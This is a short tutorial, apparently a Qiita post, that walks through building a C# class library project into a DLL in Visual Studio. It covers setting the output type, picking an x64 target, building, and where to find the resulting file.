お読みいただきありがとうございました。
How to build c# class library into dll format

In visual studio we can create c# class library and reference it in an external project very easy. It can be exported as a Shared Project which I already described <a href="https://qiita.com/phanithken/items/c64bdc29432f22dec466">here</a> or as a dll file.

So to build the class library project into dll, first of all we have to change the output type to <b>Class Library</b>.
Right Click on the project directory and choose <b>Properties</b>
![qitta.png](https://qiita-image-store.s3.amazonaws.com/0/211892/97cf59c6-20cb-b225-2cbd-0c4205dd8923.png)
From the <b>Output Type</b> selection, choose <b>Class Library</b>
![qitta.png](https://qiita-image-store.s3.amazonaws.com/0/211892/64e6e8ce-5688-269f-a5e6-ee300feb6d03.png)
We can choose to build either for x64 or x86. It's depend on the target we want to build for. So now I'm building for x64 target
![qitta.png](https://qiita-image-store.s3.amazonaws.com/0/211892/16516fc0-81f7-e0c2-697a-5f5cb6248ed0.png)
Seem like the configuration is set up, now we can proceed with the build.
Right Click on the project directory and choose <b>Build</b>
![qitta.png](https://qiita-image-store.s3.amazonaws.com/0/211892/7cbc9e52-6438-62fd-2ccd-a9f3c584185a.png)
Wait until the build process is completed and then we can get the dll class library from this following directory:
`/ProjectFolder/bin/x64/Debug/`